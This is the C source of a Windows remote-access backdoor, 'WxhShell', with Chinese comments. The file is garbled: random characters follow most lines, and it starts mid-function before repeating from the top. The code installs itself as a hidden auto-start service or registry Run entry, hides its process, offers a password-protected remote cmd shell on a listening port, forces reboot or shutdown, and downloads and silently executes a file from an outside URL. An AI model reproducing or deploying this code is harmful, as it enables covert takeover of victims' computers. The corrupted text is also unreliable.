    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ggrYf*  
    if(Boot(SHUTDOWN)) "OYD9Q''  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |>xuH#Q  
    else { 41d+z>a]  
    closesocket(wsh); <z2.A/L  
    ExitThread(0); 6'N_bNW  
    }  QtG6v<A  
    break; ps:`rVQ7  
    } `?R{sNr.  
  // 获取shell _*?qOmf=  
  case 's': { #k)z5vZ$h  
    CmdShell(wsh); ,G46i)E\  
    closesocket(wsh); N9#xTX  
    ExitThread(0); w.aEc}@(^  
    break; DpA)Vdj  
  } o!~XYEXvUa  
  // 退出 4t }wMOR  
  case 'x': { *_YR*e0^nN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L5zCL0j`  
    CloseIt(wsh); 0AffD:  
    break; <F&XT@  
    } *A8*FX>\F  
  // 离开 &}Wi@;G]2  
  case 'q': { 9M7P|Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #yR&|*@  
    closesocket(wsh); 0\Jeyb2dl  
    WSACleanup(); <yEApWd;  
    exit(1); 7<)  
    break; &xB9;v3  
        } xrBM`Bj0@  
  } Kf[.@_TD<1  
  } q'+ARW48  
6pS}\aD  
  // 提示信息 sCY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7bO>[RQB  
} gI2'[OU  
  } yv]|Ce@8A  
cMT:Ij];  
  return; ?.F^Oi6 u  
} uQn1kI[y  
n!~ $Z/  
// shell模块句柄 M\k[?i  
int CmdShell(SOCKET sock) u&S0  
{ G;vj3#u?  
STARTUPINFO si; y0T#Qq  
ZeroMemory(&si,sizeof(si)); ?qSwV.l]d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tCO?<QBE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1Dhe! n#  
PROCESS_INFORMATION ProcessInfo; VK*`&D<P  
char cmdline[]="cmd"; ke;=Vg|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c;"e&tW  
  return 0; KFO K%vbM  
} <Fx%P:d  
W<#!He  
// 自身启动模式 Qb)c>r  
int StartFromService(void) ~/JS_>e#6P  
{ gfIS  
typedef struct xYv;l\20.  
{ e_3jyA@v  
  DWORD ExitStatus; ;8&/JSN M  
  DWORD PebBaseAddress; .xT{Rz  
  DWORD AffinityMask; P/[RH e  
  DWORD BasePriority; `@1e{ ?$  
  ULONG UniqueProcessId; KGc.YUoE  
  ULONG InheritedFromUniqueProcessId; qyVARy  
}   PROCESS_BASIC_INFORMATION; `kvIw,c.  
{Y2 J:x  
PROCNTQSIP NtQueryInformationProcess; LVdR,'lS  
mejNa(D ^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~4FzA,,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wL:7G  
g| 3bM  
  HANDLE             hProcess; sxRKWM@4  
  PROCESS_BASIC_INFORMATION pbi; GJQ>VI2cY  
fDW:|%{Y,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]ke9ipj]:  
  if(NULL == hInst ) return 0; Bnk<e  
<Rn-B).3bs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L?|}!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U<sGj~"#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1fIx@  
O9?.J,,mVh  
  if (!NtQueryInformationProcess) return 0; )hQ]>o@i{  
#*y.C[^5{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3ww\Z8UeK  
  if(!hProcess) return 0; 73'AQ")UJ  
e>c -b^{&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }{@y]DcdM4  
6[R6P:v&'G  
  CloseHandle(hProcess); 4<PupJ  
pRE^; 4}z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^`SEmYb;  
if(hProcess==NULL) return 0; }s'=w]m  
GLZ*5kw  
HMODULE hMod; NhNd+SCZ@  
char procName[255]; y!x[N!a  
unsigned long cbNeeded; M"p%CbcI]  
C_q2bI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NV(jp'i~  
ND.(N'/O  
  CloseHandle(hProcess); CFW Hih  
- (((y)!  
if(strstr(procName,"services")) return 1; // 以服务启动 ~Yl.(R  
TTa3DbFp%  
  return 0; // 注册表启动  Rm)hgmZ  
} V?.=_T<  
3!sZA?q  
// 主模块 $iy!:Did  
int StartWxhshell(LPSTR lpCmdLine) y1}2hT0,  
{ +IbV  
  SOCKET wsl; o(?9vU  
BOOL val=TRUE; 8mdVh\i!Kf  
  int port=0; Ue Z(@6_:  
  struct sockaddr_in door; 9yTDuhJ6  
Ho*B<#&(A|  
  if(wscfg.ws_autoins) Install(); -Q<OSa='  
-!5l4  
port=atoi(lpCmdLine);  HRbv%  
<<gW`KF   
if(port<=0) port=wscfg.ws_port; [hot,\+f  
<wFmfrx+v  
  WSADATA data; ONpvx5'#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  gsi2  
KTmwkZcfYD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q)C Xu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zx:;0Z:S6>  
  door.sin_family = AF_INET; H<ovIMd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IaRwPDj6  
  door.sin_port = htons(port); F|!=]A<  
9mXmghoCO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &#u\@Qze  
closesocket(wsl); ALO/{:l(  
return 1; _D{FQRU<YD  
} u^^jt(j  
`.pd %\  
  if(listen(wsl,2) == INVALID_SOCKET) { nwfu@h0G  
closesocket(wsl); ]lyQ*gM  
return 1; ) d'H&c3  
} daSx^/$R  
  Wxhshell(wsl); u^]Gc p  
  WSACleanup(); W]bytsl  
AEWrrE  
return 0; D(|+z-}M  
N`H`\+  
} <Tbl |9  
p^w)@^f  
// 以NT服务方式启动 aA>!p{/x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y,jpd#Y  
{ ir\)Hz2P  
DWORD   status = 0; I(&N2L$-  
  DWORD   specificError = 0xfffffff; * &#M`,#  
Si23w'T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T\4>4eX-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _^RN$4.R>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O#J7GbrHO  
  serviceStatus.dwWin32ExitCode     = 0; v5?)J91  
  serviceStatus.dwServiceSpecificExitCode = 0; KkzG#'I1  
  serviceStatus.dwCheckPoint       = 0; zZ51jA9x  
  serviceStatus.dwWaitHint       = 0; ,d.5K*?aI  
`{yI| Wf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {`)o xzR  
  if (hServiceStatusHandle==0) return; KC9VQeSc  
Wq1OYZ,  
status = GetLastError(); ~@<o-|#  
  if (status!=NO_ERROR) wpQp1){%Q  
{ ?=_w5D.3J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kDRxu!/  
    serviceStatus.dwCheckPoint       = 0; @_c&lToj_  
    serviceStatus.dwWaitHint       = 0; g.;2N9  
    serviceStatus.dwWin32ExitCode     = status; &F[N$6:v  
    serviceStatus.dwServiceSpecificExitCode = specificError; N(J#<;!yb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '?NMQ  
    return; , .=7{y~  
  } 2p 7;v7)y  
f` -vnh^+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e iH&<AH  
  serviceStatus.dwCheckPoint       = 0; ' < >Q20  
  serviceStatus.dwWaitHint       = 0; I'n}6D.M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U_Mag(^-  
} -<T> paE9  
+Qzl-eN/+  
// 处理NT服务事件,比如:启动、停止 ZtGk Md$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B 'd@ms  
{ bng/v  
switch(fdwControl) /=#~8  
{ &FZ~n?;hQ  
case SERVICE_CONTROL_STOP: ) R5[a O  
  serviceStatus.dwWin32ExitCode = 0; r t)[}+ox  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L KZ<\% X  
  serviceStatus.dwCheckPoint   = 0; %|R]nB  
  serviceStatus.dwWaitHint     = 0; 6y?uH; SL  
  { r@'~cF]m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0f3>s>`M  
  } q/@r#  
  return; H#nJWe_9A  
case SERVICE_CONTROL_PAUSE: &!'R'{/?X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y6G6wk;  
  break; O_ $zK  
case SERVICE_CONTROL_CONTINUE: [z;}^3b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m*7RC4"J  
  break; C4-%|+Q i  
case SERVICE_CONTROL_INTERROGATE: 9&B #@cw  
  break; qI74a F  
}; *|L;&XM&/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dIQ3snG  
} bG.`>   
K^b'<} $|p  
// 标准应用程序主函数 4Uwcc):f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7fT_]H8  
{ 8r0;054  
{=3'H?$  
// 获取操作系统版本 !{g>g%2!  
OsIsNt=GetOsVer(); H2+Ijn19E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?AI`,*^  
brqmi<*9"[  
  // 从命令行安装 6HVX4Z#VH  
  if(strpbrk(lpCmdLine,"iI")) Install(); H:z<]Rc  
=|^R<#%/  
  // 下载执行文件 LiGECqWBa'  
if(wscfg.ws_downexe) { 'auYmX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2j{T8F\]  
  WinExec(wscfg.ws_filenam,SW_HIDE); (ze9-!%  
} /kO%aN  
RW Jyd=  
if(!OsIsNt) { 1dy"  
// 如果时win9x,隐藏进程并且设置为注册表启动 l?^}n(_.  
HideProc(); )g U#[}6H  
StartWxhshell(lpCmdLine); g+4x  
} ~qA\u5sB9@  
else N{Pa&/V  
  if(StartFromService()) 7< ?Aou  
  // 以服务方式启动 zrC1/%T  
  StartServiceCtrlDispatcher(DispatchTable); oHu7<r  
else 2,h]Y=.s  
  // 普通方式启动 u+pZ<Bb  
  StartWxhshell(lpCmdLine); m'ZxmsFo  
/Hq#!2)  
return 0; b0N7[M1Xl  
} h?->A#  
G*zhy!P  
2jP(D%n  
IG:CWPU  
=========================================== qUQP.4Z95  
'|&?$g(\h  
r|953e  
 SmAF+d  
_2}/rwVg  
_znn`_N:v  
" ,LU|WXRB  
k/Ao?R=@gI  
#include <stdio.h> Y5mk*Q#q  
#include <string.h> WBD"d<>'  
#include <windows.h> >IZ$ .-  
#include <winsock2.h> `n`HwDo;i  
#include <winsvc.h> ,!^;<UR:  
#include <urlmon.h> -e+im(2D=  
{]7lh#M  
#pragma comment (lib, "Ws2_32.lib") P@Pe5H"o  
#pragma comment (lib, "urlmon.lib") 'H1k  
`4qtmbj  
#define MAX_USER   100 // 最大客户端连接数 A_.}- dzF  
#define BUF_SOCK   200 // sock buffer e~6>8YO+7j  
#define KEY_BUFF   255 // 输入 buffer S<w? ,Z  
Z,, qmwd  
#define REBOOT     0   // 重启 u6*0% Km  
#define SHUTDOWN   1   // 关机 rGQ([e  
GM0pHmC  
#define DEF_PORT   5000 // 监听端口 tRTJQ  
0\o5+  
#define REG_LEN     16   // 注册表键长度 qcBamf  
#define SVC_LEN     80   // NT服务名长度 *OY Nx4k  
(Ii+}Mfp  
// 从dll定义API e{ZS"e`!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^8g<>, $  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H5A7EZq}`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c 1{nOx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #b;TjnC5{$  
19\ V@d^  
// wxhshell配置信息 i6:O9Km  
struct WSCFG { 7{OD/*|  
  int ws_port;         // 监听端口 a#/~rNRY  
  char ws_passstr[REG_LEN]; // 口令 )=#zMdK&  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gnie|[3  
  char ws_regname[REG_LEN]; // 注册表键名 9Om3<der  
  char ws_svcname[REG_LEN]; // 服务名 6[a;83  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 90a!_8o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LH q~`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @u-CR8^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gt(!I^LHYc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gmmh&Uj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [5MV$)"!j  
[85tZr]  
}; ?T>)7Y)  
,Y0qGsV  
// default Wxhshell configuration _6\"U5*Y  
struct WSCFG wscfg={DEF_PORT, nX+c HF  
    "xuhuanlingzhe", 3?wL)6Uj8J  
    1, VO,F[E~_  
    "Wxhshell", R9~c: A4G  
    "Wxhshell", 'RIx}vPf  
            "WxhShell Service", fRcy$  
    "Wrsky Windows CmdShell Service", di~ [Ivw  
    "Please Input Your Password: ", AZbFj-^4  
  1, %07vH&<C.  
  "http://www.wrsky.com/wxhshell.exe", E qt\It9  
  "Wxhshell.exe" 3s,a%GOk  
    }; FOSC#W9E  
BvpUcICJ  
// 消息定义模块  0gJ{fcI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ua%j}%G(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |k/;1.b!9(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -^$IjK-N  
char *msg_ws_ext="\n\rExit."; < _ <?p&  
char *msg_ws_end="\n\rQuit."; +)*oPSQ5  
char *msg_ws_boot="\n\rReboot..."; o? wEX%  
char *msg_ws_poff="\n\rShutdown..."; "lBYn2W  
char *msg_ws_down="\n\rSave to "; na] 9-~4  
=O~Y6|  
char *msg_ws_err="\n\rErr!"; <e$%m(]  
char *msg_ws_ok="\n\rOK!"; 7vB6IF  
vF'Y; M  
char ExeFile[MAX_PATH]; D'"l%p  
int nUser = 0; Ak@y"!wnM  
HANDLE handles[MAX_USER]; xc1-($Q,  
int OsIsNt; _#6*C%ax  
6'1Lu1w  
SERVICE_STATUS       serviceStatus;  ^J& }C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ev1gzHd!i  
mS &^xWPV  
// 函数声明 8} |!p>  
int Install(void); l }]"X@&G  
int Uninstall(void); M HKnHPv  
int DownloadFile(char *sURL, SOCKET wsh); f(*iagEy  
int Boot(int flag); <-=g)3_  
void HideProc(void); tjcG^m} _  
int GetOsVer(void); {[r}gS%  
int Wxhshell(SOCKET wsl); ZE6W"pbjU  
void TalkWithClient(void *cs); %ERR^  
int CmdShell(SOCKET sock); V6r*fEhrT_  
int StartFromService(void); )$QZ",&5  
int StartWxhshell(LPSTR lpCmdLine); NxN~"bfh  
Z" dU$ ,n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~{{@m]P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C9nCSbGMY{  
y:R+;91  
// 数据结构和表定义 =nG>aAG  
SERVICE_TABLE_ENTRY DispatchTable[] = 7Q # A  
{ k, jcLX.  
{wscfg.ws_svcname, NTServiceMain}, ePiZHqIsv/  
{NULL, NULL} 'OsRQ)E  
}; '2ACZcjDSv  
18ON`j  
// 自我安装 _*u$U  
int Install(void) $NwPGy?%  
{ z v:o$2Z  
  char svExeFile[MAX_PATH]; )W!\D/C+  
  HKEY key; ic?(`6N8  
  strcpy(svExeFile,ExeFile); U/>l>J5  
W%< z|  
// 如果是win9x系统,修改注册表设为自启动 fWl #CI\]  
if(!OsIsNt) { 3F{R$M}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MZdj!(hO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7J5Yzu)D  
  RegCloseKey(key); @e^(V$ap  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rVDOco+w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2mfG: ^^c  
  RegCloseKey(key); x3 01uf[  
  return 0; T&]IPOH9  
    } E&> 2=$~  
  } F&D ,y-CQ  
} co>IJzg  
else { (iY2d_FQ[  
rnM C[  
// 如果是NT以上系统,安装为系统服务 O5A]{ W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z#s-(wf  
if (schSCManager!=0) s mqUFo  
{ ?fNUmk^A<  
  SC_HANDLE schService = CreateService G-Zn-I  
  ( TZa LB}4  
  schSCManager, t7,**$ST  
  wscfg.ws_svcname, !s[ gv1  
  wscfg.ws_svcdisp, 8,]wOxwqi  
  SERVICE_ALL_ACCESS, FOS*X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /7K7o8g  
  SERVICE_AUTO_START, Bh()?{q  
  SERVICE_ERROR_NORMAL, GCp90  
  svExeFile, d"}lh:L9  
  NULL, gyOAvx  
  NULL, <P-AlHYV-  
  NULL, a#+;BH 1  
  NULL, #[y2nK3zF  
  NULL |5\: E}1  
  ); *):s**BJ$  
  if (schService!=0) )C $1))  
  { MO *7:hI  
  CloseServiceHandle(schService); NX?6 (lO,  
  CloseServiceHandle(schSCManager); dX DuO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q VWVZ >l  
  strcat(svExeFile,wscfg.ws_svcname); -z>m]YDH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SHqz &2u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N`7+] T  
  RegCloseKey(key); /n3SE0Y  
  return 0; P7;q^jlB  
    } "QM2YJ55m`  
  } )H%Rw V#  
  CloseServiceHandle(schSCManager); be>KG ZU0  
} vw/GAljflu  
} pm:#@sl  
[q(}~0{"-  
return 1; kDc/]Zb%  
} \;!g@?CA  
J|e3 UikA  
// 自我卸载 fILD~  
int Uninstall(void) +A2}@k   
{ /cx Ei6I-  
  HKEY key; |O[ I=!  
0t)5KO  
if(!OsIsNt) { $2$jV1s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6bBNC2K$-  
  RegDeleteValue(key,wscfg.ws_regname); U sV?}  
  RegCloseKey(key); ky[^uQ>0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &[ $t%:`  
  RegDeleteValue(key,wscfg.ws_regname); dSbz$Fct  
  RegCloseKey(key); sUpSXG-W/@  
  return 0; 6x@4gP y[  
  } ~oeX0l>F  
} hIwqSKq9  
} n/+G^:~_  
else { L EY k  
k<%y+v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (^^}Ke{J  
if (schSCManager!=0) oC(.u?  
{ RHuc#b0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Enqs|fkbN  
  if (schService!=0) #6nuiSF  
  { }Hb_8P  
  if(DeleteService(schService)!=0) { sDyt3xN  
  CloseServiceHandle(schService); +xBM\Dz8  
  CloseServiceHandle(schSCManager); ! $fF3^8-  
  return 0; |/!RN[<   
  } 7'R7J"sY`|  
  CloseServiceHandle(schService); h~k+!\  
  } _j|U>s   
  CloseServiceHandle(schSCManager); 13/U4-%b2  
} FyRr/0C>  
} J%8hf%! ud  
l,ra24  
return 1; d 2z!i^:  
} r%%<   
(sEZNo5n  
// 从指定url下载文件 i^V3u  
int DownloadFile(char *sURL, SOCKET wsh) fs*OR2YG7  
{ +}NQ |y V  
  HRESULT hr; Tnb5tHjnh  
char seps[]= "/"; G_ 6!w//  
char *token; #=I5_u  
char *file; u7bji>j  
char myURL[MAX_PATH]; nLnzl  
char myFILE[MAX_PATH]; '#CYw=S+  
PfJfa/#pA  
strcpy(myURL,sURL); TU?$yNE  
  token=strtok(myURL,seps); {-L}YX"Bh  
  while(token!=NULL) ~0 Mw\p%}  
  { _&PF(/w  
    file=token; _cQhT  
  token=strtok(NULL,seps); BXLw  
  } kj'  
iayxN5,  
GetCurrentDirectory(MAX_PATH,myFILE); }K9Ji]tOK:  
strcat(myFILE, "\\"); 7OLchf  
strcat(myFILE, file); 8V+  
  send(wsh,myFILE,strlen(myFILE),0); ':|?M B  
send(wsh,"...",3,0); #v:A-u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N~9zQ  
  if(hr==S_OK) %QX"oRMn0  
return 0; ?^{Ey[)'(  
else 0Y/k /)Ul]  
return 1; ou [Wz{  
NucLf6  
} . "`f~s\G  
3y-P-NI~=  
// 系统电源模块 }62Q{>`  
int Boot(int flag) Z4tc3e  
{ TV(%e4U=  
  HANDLE hToken; <"!'>ZUt  
  TOKEN_PRIVILEGES tkp; ~}s0~j~  
B{lL}"++0  
  if(OsIsNt) { (t"rzH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wy?Hp*E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @gihIysf  
    tkp.PrivilegeCount = 1; (:|1h@K/R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "oT]_WHqo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uN(N2m  
if(flag==REBOOT) { k:CSH{s5{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *|)O  
  return 0; kI/%|L%6D  
} FO?I}G22  
else { <u2iXH5w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "Kf4v|6;  
  return 0; 5z 9'~Gfb  
} $kn"S>jV  
  } l6HT}x7OiH  
  else { 09Y:(2Qri  
if(flag==REBOOT) { P:c 'W?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a`S3v  
  return 0; _Uu p*#m  
} >I9|N}I  
else { q%wF=<W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `}*jjnr"  
  return 0; vjYG>YhV  
} 8rSu,&<  
} H^8t/h  
|p":s3K"Hy  
return 1; ]d,#PF  
} ( ALsc@K  
d$v{oC }  
// win9x进程隐藏模块 8:}$L)[V  
void HideProc(void) 3vF-SgCV  
{ N"/be  
=N{-lyr)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H9rZWc"*  
  if ( hKernel != NULL ) L'}^Av_+  
  { mW @Z1Plxs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rcG-V f@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [300F=R  
    FreeLibrary(hKernel); B-aJn8>/  
  } Axx{G~n![  
Xe\,:~  
return; kF7`R4Sz  
} ,4kipJ!,yK  
(r$QQO) /  
// 获取操作系统版本 W[.UM  
int GetOsVer(void) ?XO}6q<tM  
{ 5fud:k  
  OSVERSIONINFO winfo; 8^"P'XQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *wK7qS~VB2  
  GetVersionEx(&winfo); <zF/at  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b ;t b&o  
  return 1; q|.K& @_'K  
  else Y'M}lv$sa  
  return 0; gBXJ/BW$y  
} '2c4 4F)i  
Wx-rW  
// 客户端句柄模块 ~aRcA|`  
int Wxhshell(SOCKET wsl) Pna2IB+  
{ K2t|d[r  
  SOCKET wsh; [:-o;K\.-a  
  struct sockaddr_in client; -Khb  
  DWORD myID; 'C\knQ  
S:xG:[N@  
  while(nUser<MAX_USER) "=XRonQZ  
{ S[o R q  
  int nSize=sizeof(client); xm}`6B^f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QzA/HP a  
  if(wsh==INVALID_SOCKET) return 1; qAR}D~t  
J`{HMv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /A/k13 J  
if(handles[nUser]==0) [[d@P%X&  
  closesocket(wsh); qVmG"et'J  
else 5}_DyoV  
  nUser++; &|) (lX  
  } WJ(E3bb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vr%!rQ  
] e]l08  
  return 0; fIcra  
} X P_ V  
]; G$~[  
// 关闭 socket pM7xnL4  
void CloseIt(SOCKET wsh) jRzQ`*KC#  
{ B=J/HiwV)  
closesocket(wsh); D1<$]r,  
nUser--; t"Djh^=y  
ExitThread(0); Vch!&8xii  
} k84JDPu#  
-YP>mwSN?  
// 客户端请求句柄 ~`x<;Ts  
void TalkWithClient(void *cs) t= oTU,<  
{ gEQevy`T%c  
)9JuQ_ R  
  SOCKET wsh=(SOCKET)cs; +{S^A)  
  char pwd[SVC_LEN]; sy.U] QG  
  char cmd[KEY_BUFF]; NX4}o&mDwn  
char chr[1]; 9b*1-1"  
int i,j; )t$|'c}  
dsJHhsu6  
  while (nUser < MAX_USER) { Uw5`zl  
^YG.eT6iG  
if(wscfg.ws_passstr) { 1]j_4M14aA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &`4v,l^Zi6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (~FLG I  
  //ZeroMemory(pwd,KEY_BUFF); ,zY!EHpx  
      i=0; ,l_n:H+"F  
  while(i<SVC_LEN) { 9K F`9Y  
$di8#O*  
  // 设置超时 S\O6B1<:  
  fd_set FdRead; z!6:Dt6^  
  struct timeval TimeOut; p6'wg#15  
  FD_ZERO(&FdRead); *S@0o6v  
  FD_SET(wsh,&FdRead); d^.fB+)A3  
  TimeOut.tv_sec=8; (l3P<[[?  
  TimeOut.tv_usec=0; sS|N.2*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _GK3]F0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kGSB6  
H:HJHd"W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Dco!ih  
  pwd=chr[0]; kf<5`8  
  if(chr[0]==0xd || chr[0]==0xa) { * F T )`  
  pwd=0; bqDHLoB\1  
  break; "m:4e`_dz  
  } o-jF?9m  
  i++; ) Pdl[+a  
    } ]h$,=Qf hD  
q"[8u ]j  
  // 如果是非法用户,关闭 socket U3yIONlt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zu/}TS9bi  
} 8?r RLM4  
$lMEZt8A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r%/*,lLO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H]7;O M/g  
q0hg0 DC[;  
while(1) { )} H46  
p}'uCT ga  
  ZeroMemory(cmd,KEY_BUFF); 2nRL;[L*.  
E5<}7Pt  
      // 自动支持客户端 telnet标准   VfiMR%i}  
  j=0; NN9` jP2  
  while(j<KEY_BUFF) { e/;chMCq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^3L6mOoA  
  cmd[j]=chr[0]; ?][2J  
  if(chr[0]==0xa || chr[0]==0xd) { @*gm\sU4  
  cmd[j]=0;  TVP.)%  
  break; i>C:C>~  
  } %?3\gFvBo  
  j++; )c#m<_^  
    } }bVWV0Aeim  
-PSI^%TR#  
  // 下载文件 w8Mi: ;6  
  if(strstr(cmd,"http://")) { XKU+'Tz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qi\!<clv  
  if(DownloadFile(cmd,wsh)) Sh=Px9'i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R;_U BQ)  
  else ,rp-`E5ap  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #w4= kWJ[  
  } `!j|Ym  
  else { XACbDKyS  
<<da TQV  
